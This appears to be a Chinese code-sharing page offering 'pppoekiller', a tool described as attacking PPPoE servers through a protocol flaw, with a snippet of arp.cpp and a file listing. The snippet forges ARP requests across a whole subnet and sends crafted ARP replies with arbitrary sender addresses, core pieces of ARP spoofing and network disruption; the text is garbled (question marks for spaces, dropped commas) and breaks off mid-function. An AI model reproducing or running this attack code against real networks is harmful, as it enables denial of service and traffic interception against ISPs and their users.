資源簡介
利用PPPOE協議的漏洞攻擊PPPOE服務器。有點類似于ARP攻擊。

代碼片段和文件信息
//?arp.cpp:?implementation?of?the?arp?class.
//
//////////////////////////////////////////////////////////////////////
#include?“arp.h“
int?WINAPI?send_arp_request(pcap_t?*adhandle??ip_address?s_ip?mac_address?s_macip_address?d_ip){
//構造包
arp_packet?arp_ask;
memset(&arp_ask0x00sizeof(arp_ask));
//包頭以及填充的尾部,不變得部分
arp_ask.eh.dmac.byte1?=?0xff;
arp_ask.eh.dmac.byte2?=?0xff;
arp_ask.eh.dmac.byte3?=?0xff;
arp_ask.eh.dmac.byte4?=?0xff;
arp_ask.eh.dmac.byte5?=?0xff;
arp_ask.eh.dmac.byte6?=?0xff;
arp_ask.eh.smac?=?s_mac;
arp_ask.eh.ethproto?=?0x0608;
//arp數據中不變的部分
arp_ask.ah.htype?=?0x0100?;
arp_ask.ah.ptype?=?0x0008?;
arp_ask.ah.hsize?=?0x06?;
arp_ask.ah.psize?=?0x04?;
arp_ask.ah.opcode?=?0x0100?;//請求
arp_ask.ah.smac?=?s_mac;
arp_ask.ah.sip?=?s_ip;
//下面是唯一變化的即arp_ask.ah.tip對方的IP地址
arp_ask.ah.tip?=?d_ip;
pcap_sendpacket(?adhandle?(unsigned?char*)&arp_asksizeof(arp_packet));
return?0;
}
int?WINAPI?send_arp_request(pcap_t?*adhandle??u_long?s_ip?mac_address?s_macu_long?d_ip){
ip_address?*?d_ip_addr?*?s_ip_addr;
d_ip_addr?=?(ip_address*)?&d_ip?;
s_ip_addr?=?(ip_address*)?&s_ip?;
return?send_arp_request(adhandle*s_ip_addrs_mac*d_ip_addr);
}
int?WINAPI?send_arp_request(pcap_t?*adhandleu_long?s_ip?mac_address?s_mac??u_long?netgroup??u_long?netmask){
u_long?target_ip?=?netgroup;
int?i?=?0;
do{
i++;
target_ip?+=?0x1000000;//最后加上一
if(?0?==?(?i?%?256?))
?target_ip?+=?0x10000;//第三段加一
if(?0?==?(?i?%?65536?))
?target_ip?+=?0x100;//第二段加一
if(?0?==?(?i?%?16777216?))
?target_ip?+=?0x1;//第一段加一
if(?target_ip?==?s_ip?){
continue;
}
if(?netgroup?!=?(?netmask?&?target_ip?)?){
break;
}
send_arp_request(?adhandle?s_ips_mactarget_ip);
}while(1);
return?0;
}
int?WINAPI?send_arp_reply(pcap_t?*adhandle??ip_address?s_ip?mac_address?s_mac??ip_address?d_ipmac_address?d_mac){
//構造包
arp_packet?arp_ask;
memset(&arp_ask0x00sizeof(arp_ask));
//包頭以及填充的尾部,不變得部分
arp_ask.eh.dmac??=?d_mac;
arp_ask.eh.smac?=?s_mac;
arp_ask.eh.ethproto?=?0x0608;
//arp數據中不變的部分
arp_ask.ah.htype?=?0x0100?;
arp_ask.ah.ptype?=?0x0008?;
arp_ask.ah.hsize?=?0x06?;
arp_ask.ah.psize?=?0x04?;
arp_ask.ah.opcode?=?0x0200?;//回復
//下面是發送方的地址
arp_ask.ah.smac?=?s_mac;
arp_ask.ah.sip?=?s_ip;
//下面是接收方的地址
arp_ask.ah.tmac??=?d_mac;
arp_ask.ah.tip?=?d_ip;
pcap_sendpacket(?adhandle?(unsigned?char*)&arp_asksizeof(arp_packet));
return?0;
}
int?WINAPI?send_arp_reply(pcap_t?*adhandle??u_long?s_ip?mac_address?s_mac??u_long?d_ipmac_address?d_mac){
ip_address?*?d_ip_addr?*?s_ip_addr;
d_ip_addr?=?(ip_address*)?&d_ip?;
s_ip_addr?=?(ip_address*)?&s_ip?;
return?send_arp_reply(adhandle*s_ip_addrs_mac*d_ip_addrd_mac);
}
int?WINAPI?get_local_mac(mac_address?*?mac){
ASTAT?adapter;?//網絡適配器
NCB?Ncb;
UCHAR?uRetCode;
LANA_ENUM?lenum;
memset(?&Ncb?0?sizeof?(Ncb)?);
Ncb.
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件????????3108??2011-06-22?15:07??protocol_header.h
?????文件????????4215??2011-06-22?15:07??arp.cpp
?????文件????????1108??2011-06-22?15:07??arp.h
?????文件????????3657??2011-06-22?15:07??pppoed.cpp
?????文件????????1229??2011-06-22?15:07??pppoed.h
?????文件???????12197??2011-06-22?15:07??pppoekiller.cpp
- 上一篇:單片機電子密碼鎖課程設計
- 下一篇:烽火通信程序員招聘筆試題
評論
共有 條評論